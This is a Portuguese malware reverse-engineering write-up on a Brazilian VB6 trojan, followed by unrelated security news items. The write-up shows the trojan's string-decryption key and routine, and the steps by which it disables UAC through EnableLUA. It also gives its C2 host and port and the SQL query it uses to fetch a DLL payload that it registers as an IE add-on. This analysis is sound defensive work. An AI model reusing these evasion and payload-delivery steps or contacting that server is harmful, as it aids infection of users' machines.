Jump to content
  • Análise do malware IMG2005M.exe

       (0 reviews)

    Mês passado eu postei no blog uma análise básica de um malware brasileiro que recebi por e-mail. Algumas pessoas se ofereceram para continuar a análise mas não o fizeram, por motivos diversos. Eu tomei vergonha e achei uma máquina virtual com o XP e alguns programas velhos que ajudariam na análise. Este artigo é o meu relato sobre esse malware.

    No post do blog cheguei a identificar que o malware tinha UPX [1], então neste artigo vamos partir da remoção do packer:

    $ wc -c IMG2005M.exe
    58880 IMG2005M.exe
    
    $ upx -dqq IMG2005M.exe
    102400 <- 58880 57.50% win32/pe IMG2005M.exe
    
    $ wc -c IMG2005M.exe
    102400 IMG2005M.exe

    Ainda no Linux, fui atrás do entry point do binário com o pev [2]:

    $ pev -o IMG2005M.exe | grep -iA3 entry
    Entry point: 0x1758
    Address of CODE section: 0x1000
    Address of DATA section: 0x10000
    Imagebase: 0x400000

    Soma-se o EP à ImageBase e tem-se o offset do EP: 0x401758.

    Daqui pra frente resta muito pouco a se fazer com ferramentas nativas do Linux já que o binário é de Windows e o pev ainda não disassembla.

    Em seguida eu abri uma VM com Windows XP para ver a cara do inimigo:

    icone.png.6d9db8db87dfb8e1af13bae8e2dd780c.png

    Brincalhão esse coder hein? Detalhe para o ícone de fotos no EXE – usuário leigo cai fácil.

    Depois usei o RDG Packer Detector [3] para tentar descobrir o compilador utilizado no arquivo, se há alguma criptografia conhecida envolvida, hashes etc:

    rdg.png.20aaa7fddf8d4ad3465166c51d47d4b8.png

    O RDG detectou que é um binário compilado em Visual Basic 6.0, em código nativo. Pelo visto era só o UPX mesmo pois o RDG não detectou mais nada. No entanto, são suposições…

    Usando o OllyDbg [4], abri o malandro, e sempre a primeira coisa que vem em minha mente binária é buscar pelas strings hardcoded no executável. As strings dentro de um executável podem dizer *muito* sobre ele. Vale sempre a pena “passar o olho” nelas. No Olly é bem simples buscá-las: basta clicar com o botão direito e ir em “Search for -> All referenced strings”.

    Várias strings foram encontradas (referenced-strings.txt). Destaco algumas:

    UNICODE “*AC:Documents and SettingsMasterDesktopProfessor PardalSummer_TRSSummer_TRS.vbp”
    ASCII “GetLocaleInfoA”
    ASCII “GetUserDefaultLCID”
    UNICODE “6655475C45405C58521B606F53535577515F505640625441”
    UNICODE “625F5B06076B7A465047524C58585F6B4A46415059”
    UNICODE “695B5E545F470707584D1D4C5C46”

    A primeira string, bem, acho que dispensa comentários né? 

    Em seguida duas funções da API do Windows para identificação do idioma. Seria particularmente interessante um malware brasileiro ter versões do Windows em português como alvo?

    As outras três eu escolhi aleatoriamente. Acontece que criadores de malware sabem que precisam proteger suas strings, do contrário, muita coisa ficaria exposta a qualquer curioso que souber utilizar o comando strings do *n?x ou funções como essa do OllyDbg. Como há várias strings similares a essas três no binário, aposto que são strings encriptadas pelo programador do malware. Você não? =P

    De volta à tela do disassembly (ALT+C), parado bem no EP:

    00401758 PUSH 00401850
    0040175D CALL <JMP.&MSVBVM60.#100> ;Jump to MSVBVM60.ThunRTMain

    O jeito como o compilador constrói o executável é importante. No caso do VB é desse jeito acima: coloca-se um endereço na pilha e chama uma função da biblioteca. Esse endereço PUSHado é o offset de uma estrutura que define todo o programa em VB.

    Olhando a estrutura em 0x401850 no dump, dá pra identificar o offset do ProjectStruct (vem após esse 0x409):

    00401850  56 42 35 21|F0 1F 56 42|36 45 53 2E|44 4C 4C 00|  VB5!ðVB6ES.DLL.
    00401860  00 00 00 00|2A 00 00 00|00 00 00 00|00 00 00 00|  ….*………..
    00401870  00 00 0A 00|0A 0C 00 00|09 04 00 00|D0 AE 40 00|  ………..Ю@.
    00401880  D8 1B 40 00|00 F8 30 00|00 FF FF FF|08 00 00 00|  Ø@..ø0..ÿÿÿ…

    Então fui para o endereço 0x40AED0 no disassembler (CTRL+G) e coloquei um breakpoint (F2) logo no início da função. Aí foi só seguir com o F8 até chegar numa call que parecia interessante pois era uma chamada de função interna em 0x40AF1C.

    0040AF16  MOV EAX, DWORD PTR SS:[LOCAL.5]
    0040AF19  PUSH EAX
    0040AF1A  MOV ECX, DWORD PTR DS:[EAX]
    0040AF1C  CALL DWORD PTR DS:[ECX+1C] (0x40B450)
    0040AF1F  TEST EAX, EAX
    0040AF21  FCLEX

    Ao entrar nessa call, caí em 0x40B450. Nessa função dá pra ver uma daquelas strings doidas sendo operada em 0x40B4B7. Foi ali mesmo que coloquei um breakpoint e mandei rodar (F9).

    0040B4B0  MOV DWORD PTR SS:[LOCAL.1], 3
    0040B4B7  MOV EDX, 00402664  ; UNICODE “6655475C45405C58521B606F53535577515F505640625441”
    0040B4BC  LEA ECX, [LOCAL.11]
    0040B4BF  CALL DWORD PTR DS:[<&MSVBVM60.__vbaStrCopy>]
    0040B4C5  LEA EAX, [LOCAL.11]
    0040B4C8  PUSH EAX
    0040B4C9  LEA ECX, [LOCAL.17]
    0040B4CC  PUSH ECX
    0040B4CD  CALL 0040AF60
    0040B4D2  PUSH 0
    0040B4D4  LEA EDX, [LOCAL.17]
    0040B4D7  PUSH EDX
    0040B4D8  LEA EAX, [LOCAL.12]
    0040B4DB  PUSH EAX
    0040B4DC  CALL DWORD PTR DS:[<&MSVBVM60.__vbaStrVarVal>]
    0040B4E2  PUSH EAX
    0040B4E3  LEA ECX, [LOCAL.21]
    0040B4E6  PUSH ECX

    Fui seguindo com F8 e quando passei da chamada para __vbaStrVarVal em 0x40B4DC não é que a string se transformou?!

    O que era “6655475C45405C58521B606F53535577515F505640625441” virou “Scripting.SWbemObjectSet”, mas como? Os olhos aqui têm que estar afiados. Se liga:

    $ echo -n 6655475C45405C58521B606F53535577515F505640625441 | wc -c
    48
    
    $ echo -n Scripting.SWbemObjectSet | wc -c
    24

    A string encriptada tem o dobro do tamanho. Além disso, parecem ser bytes hexa já que todos os dígitos vão de 0 a F. Mas se você achou que o Professor Pardal simplesmente usou os bytes hexa de cada caracter da string original para encriptá-la, se enganou. É um pouquinho mais trabalhado. hehehe

    Repara que antes da string ser desencriptada, o fluxo de execução só passou por uma função local, uma call em 0x40B4CD para 0x40AF60. As outras são funções da MSVBVM60.DLL. Portanto pude supor que é nesta função que está a rotina de desencriptação, coloquei um breakpoint lá e comecei tudo de novo…

    Essa função que desencripta (0x40AF60) é relativamente grande. Vou resumir o que ela faz:

    O primeiro loop (de 0x40B08F a 0x40B123) cria a seguinte string fixa gigante que será usada mais à frente:

    “5655545655381688355541151683736525351505152535455336435363716816838424040414195431239696123125941259”

    Por que usar um loop para criar uma string fixa ao invés de declará-la hardcoded? Essa string é a chave para descriptografar todas as outras. O Professor Pardal não a deixaria tão solta. Se tiver curiosidade de descobrir como ela é gerada vai ser um ótimo treino, principalmente pra quem está começando. Qualquer coisa tô pelo Twitter.;)

    O segundo loop pega dois caracteres da string encriptada e os interpreta de uma vez como um byte hexadecimal (um número). Depois disso, XOReia (tem gente que fala mIgUxOO) este número com o equivalente númerico do caractere da string chave na mesma posição. Complicou? Vamos a um exemplo…

    String encriptada: 665547

    1. Pegam-se dois caracteres da string encriptada e os interpreta como um número hexa:
    “66” -> 0x66

    2. Pega-se o equivalente numérico de um caractere da string chave:
    “5” -> 0x35

    3. Faz-se o xor entre esses números
    0x66 ^ 0x35 = 0x53

    4. Converte o resultado para o equivalente em ASCII.
    $ printf “x53n”

    5. Volta para o passo 1 até que todos os caracteres da string encriptada tenham sido pegos, sempre dois a dois. O próximo cálculo será 0x55 ^ 0x36 e o outro, 0x47 ^ 0x35, certo?

    Pra você não se perder no disassembly, o xor fica em 0x40B309 – é uma chamada à função __vbaVarXor da MSVBVM60.DLL. Nem bitwise programa em VB faz, rapaiz!

    Escrevi um programa em C para fazer este trabalho sujo de desencriptar as strings (pardal_decrypt.c) :

    $ gcc -o pardal_decrypt pardal_decrypt.c
    
    $ ./pardal_decrypt 6655475C45405C58521B606F53535577515F505640625441
    Scripting.SWbemObjectSet

    Em 0x40B4E7, depois de desencriptar a primeira string, o malware chama a função rtcCreateObject2 da biblioteca. Conseguimos saber o nome dela graças à análise do OllyDbg. Dá pra imaginar o que essa função faz pelo nome e pela string que foi descriptografada antes dela.

    Não tenho intenção aqui de reescrever o código do malawre, então não vou me focar em como ele faz e sim o que ele faz. Logo, meus chutes de código não refletem necessariamente a realidade.

    Daqui pra frente seria bom acompanhar olhando o disassembly do malware (cuidado – não vá rodar o cara!)

    Na sequência, mais strings são desencriptadas: “Scripting.SWbemObjectSet” e “Scripting.SWbemObject”. Objetos destas classes também são criados. Em seguida mais duas strings: “Win32_OperatingSystem” e “winmgmts:{impersonationLevel=impersonate}”.

    Não é difícil deduzir que será feita uma query WMI. Em 0x40B672 há uma chamada para a rtcGetObject. É claro que ter alguma experiência com programação ajuda aqui. No caso de executáveis feitos em VB, ter programado em VBScript me ajuda.

    Entrando na call em 0x40B70D, cheguei na função 0x40E210, que pega o idioma da instalação do Windows. Ainda nesta função, em 0x40E38F, o malware verifica se a string “uguês (Brasil)” faz parte da string de retorno do idioma. É uma chamada à função InStr() do VB.

    De volta ao fluxo anterior, em 0x40B726 rola um “for each” que vai iterar através da coleção de objetos que a query “SELECT * FROM Win32_OperatingSystem”, montada algumas linhas antes, retorna. Nesse loop duas coisas são feitas: o atributo Caption do objeto retornado é guardado e o idioma é checado.

    Em 0x40B87F há uma call interna para 0x4019ED. Esta é um call bem legal de acompanhar de perto. Ela desencripta a string “TMP” e em 0x40BB58 chama a rtcEnvironBstr, que vai retornar o valor de uma variável de ambiente. No caso, o valor da variável de ambiente TMP que é o caminho completo do diretório temporário do usuário logado:

    C:> echo %TMP%
    C:DOCUME~1xpclientCONFIG~1Temp

    O malware desperta a curiosidade: o que ele quer no temp? Baixar algo? Gravar algo? Em 0x40BF57 o corno chama a rtcFileCopy e se copia para o diretório temporário do usuário. Em seguida testa se está no Windows Vista ou 7 para usar o runas, porque ele vai querer executar a sua cópia com privilégios administrativos.

    Em 0x40C101 ele manda executar sua cópia com uma chamada a rtcShell e morre. O trabalho sujo mesmo será feito pela cópia agora.

    Abri a cópia no debugger e vi que em 0x40C12A o malware verifica se seu caminho atual de execução é o diretório temporário. O problema é que pelo menos no Windows XP, essa checagem foi feita de maneira errada (pois é, bug no malware). O caminho atual pego vem no formato 8.3 do DOS. Veja:

    0040C12A  MOV EAX, DWORD PTR SS:[LOCAL.10] ; UNICODE “C:\DOCUME~1\xpclient\CONFIG~1\Temp\IMG2005M.exe”

    Quando essa string é comparada com o conteúdo da variável ambiente TMP, o resultado é falso e o malware tenta se copiar novamente para o temp, mas já existe um executável dele lá (que é ele mesmo) e não consegue se copiar. Aí entra em loop. =P

    Zerei, em tempo de execução, o valor de EAX, que é o registrador que armazena o retorno da __vbaStrCmp, para que o salto em 0x40C132 aconteça.;)

    Seguindo a análise, entrei numa call para 0x40C640 que busca o valor “EnableLUA” na chave “HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem”. Caso não exista ou não seja zero, o malware seta para zero, desabilitando esta proteção do Windows.

    Mais a frente, em 0x40C939 ele exibe essa mensagem:

    msgbox.png.5ad2a82a47a43c63b275ed1e599df3ab.png

    Isso não é um erro causado pelo malware – é uma mensagem inofensiva, exibida de propósito. O texto é fixo e essas strings fazem parte das strings criptografadas. Elas estão em 0x40C8CF e 0x40C8EA.

    Agora o processo fica residente aguardando acesso à internet. Para isso ele tenta acessar a página do Google. Quando conseguir, vai para a última função do mal em 0x40C9D0. À esta altura do campeonato, basta olhar a função que você vai perceber todo este fluxo.;)

    Logo no início dela, um arquivo mkajs21mx.tmp é criado no diretório temp do usuário. Em seguida o malware faz uma conexão com um serivodr MS-SQL remoto, na URLia8eaatjyur0gqzaslrlqw2n8k.zlg.br na porta 9321. Nome de usuário, senha e nome do banco também são desencriptados pela mesmíssima rotina 0x40AF60. Após conectar, o malare faz a seguinte query SQL:

    SELECT TOP 1 * FROM Professor_Carregador ORDER BY Professor_Carregador_ID DESC

    O retorno dessa consulta tem ~70k e começa com 0x4d e 0x5a. O que é o que é? =D

    O malware salva o binário pego via SQL em %WINDIR%System32MakeObject.dll e depois registra essa DLL com o regsvr32.exe como um complemento do IE:

    complemento.png.35a43b5f9f9c9c57a0ff526b75e22006.png

    Aí vem outra query:

    INSERT INTO Professor_Informa(Professor_Informa_WithEvents,Professor_Informa_Control) VALUES(‘0’, ‘0’)

    Fiz um script em VBScript pra pegar alguns registros deste banco (pardal_sql.vbs) e descobri que há mais de 6000 registros já. Ou seja, um número próximo desse de computadores brasileiros foram infectados. Impressionante. Já em relação aos registros, não tem nada demais.

    Por fim, só pra não dizer que não perturbou, o malware tenta apagar o arquivo WAV que é o somzinho de inicialização do Windows, mas pelo menos no XP SP3 PT-BR ele errou o nome e tentou apagar o Início do Windows XP.wav quando o nome real é Inicialização do Windows XP.wav. Segundo bug. ¬¬

    E o que faz a MakeObject.dll? Eu dei uma pesquisada e achei alguns usuários reportando sintomas de envio automático de e-mail via Hotmail. Por coincidência ou não, todos tinham essa DLL em logs do HiJackThis. Mas no momento estou cansado de ver funções do VB na minha frente. Então quem quiser analisar, eu envio a DLL.

    Os usuários de Windows têm então mais duas coisas para se preocupar: a falta do somzinho de incialização e um MakeObjects como complemento no IE. Sem falar na DLL em si, que não sabemos o que faz ainda. Boa sorte! hehe

     

    Referências:


    [1] upx.sourceforge.net
    [2] https://github.com/merces/pev
    [3] rdgsoft.net
    [4] www.ollydbg.de


    User Feedback

    Join the conversation

    You can post now and register later. If you have an account, sign in now to post with your account.

    Guest

  • Similar Content

    • By Leandro Fróes
      Se você é da área de Segurança da Informação ou simplesmente tem interesse pelo assunto já deve ter notado que todo dia temos notícias de novos malwares surgindo, sejam eles malwares completamente novos ou variantes de um malware já conhecido. Com isto em mente, faz algum tempo que as empresas de segurança, inteligência e até mesmo pesquisadores independentes passaram a buscar métodos de automatizar não só a análise destes malwares, mas também a administração e armazenamento do arquivo em si, suas características e relacionamentos com outros arquivos demais entidades (domínios, campanhas, endereços IP, etc). Obviamente a análise automatizada não substitui a análise humana, mas já é uma ajuda e tanto considerando o número de malwares surgindo diariamente.
      Para cada uma destas necessidades descritas anteriormente existe uma ou mais ferramentas/plataformas que podem ser utilizadas para cumprir estes objetivos. Dentre elas estão plataformas de sandboxing  como Hybrid-Analysis e AnyRun, ferramentas de análise estática de arquivos como o DIE (Detect It Easy), pev, yara, capa, e também repositórios de malware como o VirusShare e o Malware Bazaar.
      Não podemos negar que todas estas ferramentas/plataformas ajudam e muito no nosso dia a dia, mas ainda assim não conseguiríamos organizar nossas informações e centralizá-las em um único lugar de forma automática, tendo em vista que as as soluções descritas acima são isoladas e não conectam umas com as outras de forma nativa. A plataforma que chegou mais próximo de atingir as quatro exigências (isto é: análise automatizada, administração, armazenamento, relacionamento com demais entidades) foi uma plataforma chamada Virus Total, também conhecido como VT, atualmente administrado pelo Google.
      Virus Total
      O Virus Total trouxe para a comunidade uma forma simples e rápida de análise de IoCs (Indicator of Compromise) e também uma API bem simples de se utilizar para fins de automação. Dentre as diversas funcionalidades da plataforma estão inclusas análise estática, checagem de assinatura utilizando uma lista gigantesca de Anti-Virus, descrição das características gerais do IoC e comentários da comunidade. Além disso, ele também possui uma versão paga (bem cara por sinal) onde você pode fazer hunting de malwares utilizando regras de Yara, download de arquivos, buscas baseadas em histórico, visualização gráfica e uma API bem mais robusta e permissiva.
      É importante deixar claro que o termo IoC não se refere apenas à arquivos e seus hash, mas também à URL, domínios e IP. Ou seja, o VT realmente acaba se tornando uma opção super viável para começar qualquer tipo de investigação.
      O cenário atual de Segurança da Informação
      Com o passar do tempo não só a comunidade, mas também o mercado de Segurança da Informação no geral passou a notar que a única forma de se posicionar contra os ataques atuais é através de contribuição. Pelo mesmo motivo que gerou a necessidade de se criar formas automatizadas de análise, a contribuição se mostra cada dia mais que necessária pois ela não impõe limites, muito pelo contrário, ela dá liberdade o suficiente para você contribuir da forma que quiser.
      Um ótimo exemplo que mostra o exercício da contribuição e o quão valioso isto pode ser é o próprio Linux, que desde sua primeira versão foi liberado para receber contribuições e hoje é um dos maiores projetos existentes na área de tecnologia, com milhares de contribuidores ao redor do mundo.
      Com isto em mente, podemos notar uma desvantagem no VT: o espaço para contribuição é limitado.
      Desafios
      Como já comentado anteriormente, as principais funcionalidades são suportadas apenas na versão paga e infelizmente não são todos que podem pagar pelo valor do serviço.
      Um dos principais motivos dessa limitação é fato do código não ser aberto, isto é, estamos presos às funcionalidades que o time do VT disponibiliza. Se o código fosse disponível para a comunidade, resolveríamos tanto o problema monetário quanto a limitação de funcionalidades disponíveis.
      Uma outra porta que seria aberta no cenário descrito acima é a seguinte: Imagine que você, sua empresa, seu time ou um grupo de amigos estão com um projeto em mãos que envolve análise, classificação, categorização ou qualquer tipo de manipulação de malware. Com o código em mãos você teria liberdade de fazer a instalação da plataforma localmente ou em um servidor do qual você controla, limitando o acesso à quem você quiser e como quiser.
      A comunidade
      Tendo estes desafios em mente, a comunidade começou a criar alternativas para resolver alguns problemas encontrados no cenário atual. A ideia do artigo não é de forma alguma dizer que uma plataforma é melhor que outra ou que o Virus Total está errado em trabalhar no modelo que trabalha, muito pelo contrário, o objetivo aqui é mostrar as várias formas que temos de se chegar no mesmo objetivo. Uns mais flexíveis, outros com mais conteúdo disponível, mas todos conseguem te ajudar a chegar no mesmo lugar:
      Saferwall: Este é o projeto mais maduro que temos atualmente quando o assunto é análise automatizada e contribuição da comunidade. Robusto e flexível para ser instalado em  diversos ambientes, o Saferwall consegue entregar informações estáticas de arquivos, detecções baseadas em assinaturas de alguns antivírus, identificações de packers e download dos arquivos submetidos anteriormente. Além disso, o Saferwall possui uma plataforma aberta e que aceita colaboração, além de disponibilizar o código para você instalar onde e como bem entender. Dentre as formas de instalação estão inclusas o minikube (indicado para ambientes de testes), em nuvem utilizando AWS e On-Premise.


      Freki: O projeto Freki foi criado por uma única pessoa, mas não deixa a desejar quando o assunto é funcionalidade e fácil instalação. Com possibilidade de ser instalado utilizando Docker, este projeto possui não só análise estática dos arquivos PE submetidos, mas também disponibiliza sua própria API e puxa informações do VT para garantir que não falte nada.


      Aleph: focando bastante na parte de inteligência, o projeto Aleph entrega para você não só informações estáticas dos arquivos submetidos, mas também análise dinâmica utilizando sandbox, visualização gráfica dos resultados e uma saída em JSON formatada para ser utilizada em backends como Elasticsearch, por exemplo. Além disso, o Aleph também consegue mapear as técnicas utilizadas pelo malware utilizando o MITRE ATT&CK Framework. Eu realmente aconselho você dar uma olhada na palestra da MBConf v3 sobre o Aleph para saber mais sobre o projeto.
       


      A tabela à seguir foi criada para facilitar a visualização das funcionalidades descritas acima. É importante deixar claro que a versão do VT utilizada para a criação da tabela é a gratuita:
       
       
      VirusTotal
      Saferwall
      Freki
      Aleph
      Análise Estática
      ✔️
      ✔️
      ✔️
      ✔️
      Análise Dinâmica
       
      X
       
      ✔️
       
      X
       
      ✔️
       
      Suporte à múltiplos SO
      ✔️
       
      ✔️
       
      X
       
      ✔️
       
      Análise de IoC de rede
      ✔️
       
      X
       
      X
       
      X
       
      Código Aberto
      X
       
      ✔️
       
      ✔️
       
      ✔️
       
      Download de arquivos
       
      X
       
      ✔️
       
      ✔️
       
      ✔️
       
      Instalação local
      X
       
      ✔️
       
      ✔️
       
      ✔️
       
      Controle total do backend
      X
       
      ✔️
       
      ✔️
       
      ✔️
       
      API
       
      ✔️
       
      ✔️
       
      ✔️
       
      X
      Como podemos ver, todos estes projetos são de código aberto, o que permite a seus usuários livre contribuição. Caso você tenha interesse em contribuir para alguns desses projetos, aqui vai uma dica: nenhum deles possui ainda análise de URL/IP/domínio de forma isolada, isto é, independente do arquivo. Tenho certeza que uma contribuição deste tipo seria bem vinda. ?
      Conclusão
      Ajudando estes projetos nós não só melhoramos a ferramenta/plataforma em si, mas ajudamos todos que a utilizam e também construímos um sistema livre e aberto de análise, inteligência e investigação.
      Se você é da área ou simplesmente curte contribuir, não deixe de dar uma olhada em cada um destes projetos e, se possível, contribuir com eles. Lembrando que quando falamos de contribuição, não há limites. Pode ser um commit, uma ideia, ajuda monetária ou um simples OBRIGADO aos desenvolvedores e contribuidores por disponibilizarem projetos tão úteis para a comunidade.
    • By Bruna Chieco
      Um malware que visa Macs com o chip M1 da Apple está infectando máquinas em todo o mundo, informa o ThreatPost. A descoberta de pesquisadores de segurança segue outra, que descobriu um adware para macOS criado para atingir o novo processador da Apple. O system-on-a-chip (SoC) M1 foi lançado no ano passado.
      Com os novos Macs começando a ser lançados junto ao chip, os cibercriminosos estão voltando sua atenção para esses alvos. O ThreatPost já havia informado sobre a descoberta de uma variante do “Pirrit”, um aplicativo malicioso de distribuição de adware que tem agora como alvo específico o novo M1. Agora, o malware apelidado de Silver Sparrow está em cena, sendo totalmente novo e desenvolvido para o ecossistema M1, segundo analistas da empresa de cibersegurança Red Canary.
      Eles explicam que o malware foi executado em máquinas e parece estar a espera de mais instruções. Isso significa que os autores são adversários avançados e sofisticados, disseram os pesquisadores. Não está claro como o malware se espalha. A infraestrutura do Silver Sparrow está hospedada na plataforma de nuvem Amazon Web Services S3, de acordo com a Red Canary, e os domínios de callback que ele usa são hospedados por meio da rede de distribuição de conteúdo (CDN) da Akamai.
      Segundo a empresa, em 17 de fevereiro deste ano, o malware já havia infectado 29.139 endpoints macOS em 153 países, de acordo com pesquisadores, sendo os principais alvos o Canadá, a França, a Alemanha, o Reino Unido e os Estados Unidos.
    • By Bruna Chieco
      Levantamento global da Kaspersky constatou que entre julho e dezembro de 2020, mais de 270 mil pessoas tiveram contato com arquivos maliciosos ao tentar baixar programas para aulas online em sites fraudulentos. Esse tipo de ataque cresceu 60% no segundo semestre do ano passado, informa a empresa de segurança. Nos seis meses anteriores, 168 mil tentativas de ataques foram detectadas, o que representou aumento de mais de 20.000% comparado ao mesmo período de 2019.
      De acordo com a pesquisa, a isca mais popular foi o Zoom. Em segundo lugar ficou o Moodle, seguido pelo Google Meet. O relatório destaca que quase todas as ameaças encontradas estavam divididas entre riskware – instalação de arquivos – e adware – anúncios indesejados. Os trojans representaram aproximadamente 1% das ameaças encontradas.
      Essas ameaças normalmente são encontradas por meio de instaladores de aplicativos falsos em sites criados para se parecer com a plataforma original, ou em e-mails disfarçados com ofertas especiais ou notificações da plataforma.
    • By Bruna Chieco
      A família de malware Agent Tesla, um trojan de acesso remoto (RAT) ativo há mais de 7 anos, continua sendo uma das ameaças mais comuns aos usuários do Windows, evoluindo constantemente. Uma descoberta recente da empresa de segurança Sophos identificou um aumento no número de aplicativos direcionados ao roubo de credenciais, incluindo navegadores da web, clientes de e-mail, clientes de rede privada virtual e outros softwares que armazenam nomes de usuário e senhas. 
      A evolução da ferramenta também se estende ao seu pacote de entrega, com uma versão que agora visa a Interface de Software Anti-Malware da Microsoft (AMSI) em uma tentativa de derrotar o software de proteção de endpoint.
      O malware é utilizado para roubar credenciais do usuário e outras informações de vítimas por meio de capturas de tela, registro do teclado e captura da área de transferência. O SophosLabs rastreou cibercriminosos usando o Agente Tesla e detectou novas variantes em um número crescente de ataques nos últimos 10 meses. Até dezembro de 2020, o Agente Tesla era responsável por 20% dos anexos de e-mail de malware detectados na telemetria de clientes da Sophos.
      Duas versões atualmente ativas do malware, identificadas pela Sophos como Agente Tesla versão 2 e versão 3, empregam vários tipos de evasão de defesa e ofuscação para evitar a detecção, incluindo opções para instalar e usar o Tor e a API de mensagens Telegram para comunicações de comando e controle (C2). As diferenças vistas entre a v2 e v3 do Agente Tesla parecem estar focadas em melhorar a taxa de sucesso do malware contra defesas sandbox e scanners de malware, além de fornecer mais opções C2 para seus clientes invasores.
      Veja o relatório completo da Sophos (em inglês).
    • By Bruna Chieco
      O Microsoft 365 Defender Research Team divulgou informações sobre uma campanha que tem distribuído ativamente um malware modificador de navegador evoluído em escala. A campanha está ativa pelo menos desde maio de 2020 e em seu pico, em agosto, foi observada em mais de 30 mil dispositivos todos os dias. O malware injeta anúncios falsos nas páginas de resultados dos mecanismos de pesquisa. A família de modificadores de navegador recebeu o nome de Adrozek. 
      Entre os navegadores afetados pela ameaça estão: Microsoft Edge, Google Chrome, Yandex Browser e Mozilla Firefox. Segundo os pesquisadores, a intenção dos invasores é alcançar o maior número possível de usuários da Internet.
      Veja abaixo um exemplo de um navegador limpo, ou seja, sem estar infectado por um malware (à esquerda) e um navegador infectado (à direita):

      Fonte: Microsoft 365 Defender Research Team 
      Nesse exemplo é possível ver que em uma pesquisa sobre Xbox, o navegador infectado exibiu como primeiros resultados 6 anúncios falsos sobre o produto (circulados em vermelho). Se não for detectado e bloqueado, o Adrozek adiciona extensões de navegador, modifica uma DLL específica por navegador de destino e altera as configurações do browser para inserir anúncios adicionais não autorizados, muitas vezes em cima de anúncios legítimos de mecanismos de pesquisa. 
      Ao clicar nesses anúncios inseridos por malware, os usuários são direcionados a páginas afiliadas e os invasores ganham por meio de programas de publicidade que pagam pela quantidade de tráfego direcionada às páginas afiliadas patrocinadas. Além disso, o malware mantém a persistência e rouba credenciais do site, expondo os dispositivos afetados a riscos adicionais.
      No total, de maio a setembro de 2020, a equipe da Microsoft registrou centenas de milhares de encontros com o malware Adrozek em todo o mundo, com grande concentração na Europa, no Sul da Ásia e no Sudeste Asiático, mas atingindo também alguns países da América Latina. Como esta campanha está em andamento, essa infraestrutura deve se expandir ainda mais, segundo os pesquisadores.
      Veja mais detalhes da análise feita pelos pesquisadores.
       
×
×
  • Create New...